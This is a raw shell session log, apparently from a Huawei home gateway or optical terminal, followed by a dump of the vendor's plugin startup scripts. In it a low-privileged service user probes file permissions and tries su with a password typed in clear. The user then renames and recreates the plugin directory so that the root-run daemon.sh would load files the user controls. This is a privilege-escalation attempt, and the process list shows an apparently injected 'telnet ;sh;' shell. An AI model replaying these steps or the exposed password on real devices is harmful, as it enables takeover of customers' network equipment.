drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
cd MyPlugin
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
chmod +w daemon.sh
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
id
uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)
chmod 777 daemon.sh
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
pwd
/mnt/jffs2/app/cplugin/cplugin1/MyPlugin
cd ..
ls
Data
Info.plugin
MyPlugin
Temp
_MyPlugin
apLocalFlash
install_dir
ls -lt
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
echo 'id>x' > cmd.sh
ls -lt
-rw-r----- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
su
Password: adminHW
ls
Data
Info.plugin
MyPlugin
Temp
_MyPlugin
apLocalFlash
cmd.sh
install_dir
ls -lt
-rw-r----- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
cd MyPlugin
ls
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
ls 0lt
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
chmod +w daemon.sh
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
ps
PID USER VSZ STAT COMMAND
1 root 1492 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
5 root 0 SW< [kworker/0:0H]
7 root 0 SW [rcu_sched]
8 root 0 SW [rcu_bh]
9 root 0 SW [migration/0]
12 root 0 SW [migration/1]
13 root 0 SW [ksoftirqd/1]
15 root 0 SW< [kworker/1:0H]
16 root 0 SW [kdevtmpfs]
17 root 0 SW< [netns]
119 root 0 SW [khungtaskd]
120 root 0 SW< [writeback]
122 root 0 SW< [crypto]
123 root 0 SW< [bioset]
125 root 0 SW< [kblockd]
148 root 0 SW [kworker/0:1]
163 root 0 SW [kswapd0]
164 root 0 SW< [vmstat]
314 root 0 SW< [bioset]
315 root 0 SW< [bioset]
316 root 0 SW< [bioset]
317 root 0 SW< [bioset]
332 root 0 SW< [bioset]
337 root 0 SW< [bioset]
344 root 0 SW [kboxd]
350 root 0 SW< [deferwq]
364 root 0 SW [ubi_bgt0d]
368 root 0 SW< [bioset]
374 root 0 SW< [bioset]
380 root 0 SW< [bioset]
386 root 0 SW< [bioset]
392 root 0 SW< [bioset]
398 root 0 SW< [bioset]
404 root 0 SW< [bioset]
410 root 0 SW< [bioset]
416 root 0 SW< [bioset]
422 root 0 SW< [bioset]
425 root 0 SW< [kworker/0:1H]
428 root 0 SW< [kworker/1:1H]
562 srv_ssmp 1980 S collect_pipe
583 root 0 SW [random_generate]
585 root 0 SW [wap_wq]
674 root 0 SW [ubifs_bgt0_9]
752 root 0 SW< [ipv6_addrconf]
756 root 0 SW< [bioset]
759 root 0 SW< [bioset]
762 root 0 SW< [bioset]
765 root 0 SW< [bioset]
768 root 0 SW< [bioset]
771 root 0 SW< [bioset]
774 root 0 SW< [bioset]
777 root 0 SW< [bioset]
797 root 0 SW [hi_workq]
832 root 0 SW [eth_manager]
923 root 0 SW [watchdog/0]
924 root 0 SW [watchdog/1]
1014 root 0 SW< [mirror_wq]
1048 root 0 SW< [cfg80211]
1199 root 0 SW< [xt_capture]
1258 root 0 SW< [dev_workqueue]
1260 root 0 SW< [optic_status_wo]
1261 root 0 SW< [firmware_load_w]
1304 srv_ssmp 19288 S ssmp
1305 srv_cms 13140 S cms
1306 srv_comm 11696 S lsvd
1307 root 11608 S comm -l bbsp wifi cms cwmp wlan_dbus uplinkqos tr098
1308 srv_ret 10984 S ret_server
1309 srv_bbsp 30000 S bbsp
1310 srv_amp 15816 S amp
1313 root 0 SW< [oal_workqueue]
1314 srv_igmp 12576 S igmp
1315 srv_emdi 11436 S emdi
1316 cfg_cwmp 17820 S cwmp
1317 cfg_cwmp 11524 S tr111p2
1318 srv_wifi 25092 S wifi
1365 root 0 SW [HCC TX Thread]
1366 root 0 SW [Host MSG RX ]
1367 root 0 SW [Host DATA RX]
1368 root 0 SW [Host PLAT RX ]
1369 root 0 SW [Host DATA ]
1370 root 0 SW [Host DATA ]
1372 root 0 SW [kworker/0:2]
1404 root 0 SW [pcie_thread]
1407 root 0 SW< [plat_exception_]
1408 root 0 SW< [wlan_pm_wq]
1434 root 0 SW [kworker/1:2]
1439 root 11840 S procmonitor ssmp bbsp amp
1449 root 0 SW [hisi_rxdata/0]
1450 root 0 SW [hisi_rxdata/1]
1455 srv_bbsp 1956 S ip6tables-restore -n
1462 root 0 SW< [hcc_test]
1551 srv_bbsp 1996 S iptables-restore -n
1654 srv_bbsp 11540 S dhcpd
1737 srv_bbsp 1228 S radvd -d 1 -n -m stderr
1765 srv_clid 14520 S clid -rpc
1769 srv_bbsp 1752 S dhcp6s -f -r -c /var/ipv6/dhcp6s/dhcp6s.conf br0
1779 srv_clid 1504 S /bin/sh --wap
1784 srv_clid 1352 S dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p 192.
1798 srv_clid 1352 S dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p [fe8
1802 srv_clid 1352 S dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p [fe8
1840 srv_amp 10840 S ldspcli
1872 root 0 SW [kworker/u8:3]
1976 srv_wifi 1328 S app_sdt_hisi s
2044 srv_bbsp 1484 S dnsmasq --conf-file=/var/dnsmasqwan1.1.ip1.conf
2076 srv_clid 1352 S dropbear -r /mnt/jffs2/dropbear_rsa_host_key -p 192.
2079 srv_cms 10952 S sntp
2224 srv_bbsp 1484 S dnsmasq --conf-file=/var/dnsmasq_br0.conf
2234 srv_bbsp 1484 S dnsmasq --conf-file=/var/dnsv6/dnsmasq_br0.conf
2443 cfg_wifi 4708 S hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap0
2448 cfg_wifi 4708 S hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap3
2478 srv_cage 18828 S APManage
2479 root 1504 S {exe} ash /bin/console.sh
2518 cfg_wifi 4708 S hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap4
2522 cfg_wifi 4708 S hostapd -d -K -t -e/tmp/myramdom -f/tmp/hostapd_vap7
2575 srv_appm 19272 S app_m
2577 srv_web 17148 S web -s 13 -c 8705 -s 14 -c 8450 -s 15 -c 12547 -s 16
2593 srv_kmc 10960 S kmc
2616 root 15512 S /bin/ctcapd
2622 root 1192 S /bin/ubusd
2639 root 1236 S /bin/init.ctc
2643 root 1440 S appd
2668 root 3540 S qlink
2669 root 3764 S elinkclt
2670 root 4172 S apmaintain
2681 root 11352 S wificli
2689 srv_cage 26268 S cagent
2690 srv_apm 13504 SN apm
2691 srv_udm 14936 S udm
2712 srv_em 44720 S easymesh
6683 root 0 SW [kworker/1:1]
6711 srv_clid 1504 S /bin/sh -c telnet ;sh; 213
6713 srv_clid 1504 S sh
6813 srv_clid 1504 S sh
6831 root 0 SW [kworker/u8:0]
8455 srv_clid 1492 R ps
ls
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
chmod 777 ./daemon.sh
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
cd ..
ls
Data
Info.plugin
MyPlugin
Temp
_MyPlugin
apLocalFlash
cmd.sh
install_dir
ls -lt
-rw-r----- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
chmod +w MyPlugin
ls -lt
-rw-r----- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
id
uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)
cd MyPlugin
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
chmod g+w daemon.sh
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
id
uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)
cd ..
ls
Data
Info.plugin
MyPlugin
Temp
_MyPlugin
apLocalFlash
cmd.sh
install_dir
ls -lt
-rw-r----- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
chmod g+w cmd.sh
ls -lt
-rw-rw---- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
mv MyPlugin MyPlugin.2
ls -lt
-rw-rw---- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin.2
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
mkdir MyPlugin
cd MyPlugin
ls -lt
cd ..
ls -lt
drwxr-x--- 2 srv_clid service 160 Sep 21 01:19 MyPlugin
-rw-rw---- 1 srv_clid service 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin.2
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
drwxr-x--- 7 osgi_pro osgi 936 Jan 1 1981 _MyPlugin
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
cd MyPlugin
cd ../MyPlugin.2
ls -R
.:
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
./Lib:
libcivetweb.so
libcivetweb.so.1
libcjson.so
libcjson.so.1
libcurl.so
libcurl.so.4
libmbedcrypto.so
libmbedcrypto.so.0
libmbedtls.so
libmbedtls.so.10
libmbedx509.so
libmbedx509.so.0
libpaho-mqtt3cs.so
libpaho-mqtt3cs.so.1
libprotobuf-c.so
libprotobuf-c.so.1
./Preload:
./bin:
./etc:
config
res
./etc/config:
./etc/res:
webs.tar.gz
./log:
ls
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
ls
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
pwd
/mnt/jffs2/app/cplugin/cplugin1/MyPlugin.2
mv daemon.sh daemon.sh.2
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
cp daemon.sh daemon.sh.2
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
cd ..
ls
Data
Info.plugin
MyPlugin
MyPlugin.2
Temp
_MyPlugin
apLocalFlash
cmd.sh
install_dir
cd MyPlugin
cp -r ../MyPlugin.2/Lib .
ls -lt
drwxr-x--- 2 srv_clid service 1384 Sep 21 01:23 Lib
cp -r ../MyPlugin.2/Preload .
cp -r ../MyPlugin.2/etc .
cp -r ../MyPlugin.2/log .
cp plugin_keeplive.sh .
ls -lt
drwxr-x--- 2 srv_clid service 160 Sep 21 01:24 log
drwxr-x--- 4 srv_clid service 288 Sep 21 01:24 etc
drwxr-x--- 2 srv_clid service 160 Sep 21 01:23 Preload
drwxr-x--- 2 srv_clid service 1384 Sep 21 01:23 Lib
cd Lib
ls
libcivetweb.so
libcivetweb.so.1
libcjson.so
libcjson.so.1
libcurl.so
libcurl.so.4
libmbedcrypto.so
libmbedcrypto.so.0
libmbedtls.so
libmbedtls.so.10
libmbedx509.so
libmbedx509.so.0
libpaho-mqtt3cs.so
libpaho-mqtt3cs.so.1
libprotobuf-c.so
libprotobuf-c.so.1
ls 0lt
ls -lt
lrwxrwxrwx 1 srv_clid service 16 Sep 21 01:23 libcivetweb.so -> libcivetweb.so.1
lrwxrwxrwx 1 srv_clid service 21 Sep 21 01:23 libcivetweb.so.1 -> libcivetweb.so.1.13.0
lrwxrwxrwx 1 srv_clid service 13 Sep 21 01:23 libcjson.so -> libcjson.so.1
lrwxrwxrwx 1 srv_clid service 18 Sep 21 01:23 libcjson.so.1 -> libcjson.so.1.7.14
lrwxrwxrwx 1 srv_clid service 16 Sep 21 01:23 libcurl.so -> libcurl.so.4.6.0
lrwxrwxrwx 1 srv_clid service 16 Sep 21 01:23 libcurl.so.4 -> libcurl.so.4.6.0
lrwxrwxrwx 1 srv_clid service 13 Sep 21 01:23 libmbedcrypto.so -> libmbedall.so
lrwxrwxrwx 1 srv_clid service 13 Sep 21 01:23 libmbedcrypto.so.0 -> libmbedall.so
lrwxrwxrwx 1 srv_clid service 13 Sep 21 01:23 libmbedtls.so -> libmbedall.so
lrwxrwxrwx 1 srv_clid service 13 Sep 21 01:23 libmbedtls.so.10 -> libmbedall.so
lrwxrwxrwx 1 srv_clid service 13 Sep 21 01:23 libmbedx509.so -> libmbedall.so
lrwxrwxrwx 1 srv_clid service 13 Sep 21 01:23 libmbedx509.so.0 -> libmbedall.so
lrwxrwxrwx 1 srv_clid service 20 Sep 21 01:23 libpaho-mqtt3cs.so -> libpaho-mqtt3cs.so.1
lrwxrwxrwx 1 srv_clid service 24 Sep 21 01:23 libpaho-mqtt3cs.so.1 -> libpaho-mqtt3cs.so.1.3.4
lrwxrwxrwx 1 srv_clid service 22 Sep 21 01:23 libprotobuf-c.so -> libprotobuf-c.so.1.0.0
lrwxrwxrwx 1 srv_clid service 22 Sep 21 01:23 libprotobuf-c.so.1 -> libprotobuf-c.so.1.0.0
cd ../etc
ls -lt
drwxr-x--- 2 srv_clid service 160 Sep 21 01:24 config
drwxr-x--- 2 srv_clid service 232 Sep 21 01:24 res
cd config
ls
cd ../res
ls
webs.tar.gz
ls -ls
420 -rw-r----- 1 srv_clid service 430080 Sep 21 01:24 webs.tar.gz
cd ../..
ls
Lib
Preload
etc
log
pwd
/mnt/jffs2/app/cplugin/cplugin1/MyPlugin
ls -lt
drwxr-x--- 2 srv_clid service 160 Sep 21 01:24 log
drwxr-x--- 4 srv_clid service 288 Sep 21 01:24 etc
drwxr-x--- 2 srv_clid service 160 Sep 21 01:23 Preload
drwxr-x--- 2 srv_clid service 1384 Sep 21 01:23 Lib
ls -lt ../MyPlugin.2
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
id
uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)
cd ../MyPlugin.2
ls
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
cat daemon.sh
#!/bin/sh
# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.
export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH
trap ' ./plugin_stop.sh; exit 1;' 15
while true ; do
./plugin_startup.sh
./plugin_monitor.sh
./plugin_keeplive.sh
done
cat plugin_startup.sh
#!/bin/sh
# Copyright Huawei Technologies Co., Ltd. 2020-2020. All rights reserved.
#deviceFlag为0表示ONT,为1表示DSL
device_flag=0
plugin_type="C"
function updatefileright()
{
#fifo文件属主如果是root,需要增加other的w权限
local fifo_info=$(ls -l /var/collect_data_fifo|grep root)
if [ ! -z "$fifo_info" ];then
chmod o+w /var/collect_data_fifo
fi
#/tmp/proto目录属主如果是root,需要增加other的w权限
local proto_info=$(ls -l /tmp|grep proto|grep root)
if [ ! -z "$proto_info" ];then
chmod o+w /tmp/proto
fi
# /dev/urandom 如果other没有r权限,插件启动会卡住
local urandom_info=$(ls -l /dev/urandom |grep "\-\-\-")
if [ ! -z "$urandom_info" ];then
chmod o+r /dev/urandom
fi
# 新版本脚本可能是非root, 需要把400权限的文件改成600权限,避免无法修改
local ro_files=$(find . -type f -exec ls -l \{} \; |grep "r-\-\-\-\-\-\-\-"|awk '{print $NF}')
for each_file in $ro_files; do
chmod 600 $each_file
done
# 尝试修改ping_group_range文件
local osgi_gid=$(cat /etc/group|grep "osgi:x"|awk -F':' '{print $3}')
if grep -E "^1[^0-9]0$" /proc/sys/net/ipv4/ping_group_range; then
echo "0 ${osgi_gid}" > /proc/sys/net/ipv4/ping_group_range
fi
}
function prestart()
{
if [ -e /var/dslFlagForPlugin ]; then
device_flag=1
fi
echo "device_flag=${device_flag}"
if [ "$device_flag" == "0" ]; then
chown -Rh osgi_proxy:osgi ../
fi
#创建升级用的临时目录
if [ ! -d /var/Cplugin_upgrade ]; then
mkdir /var/Cplugin_upgrade
chown -Rh osgi_proxy:osgi /var/Cplugin_upgrade
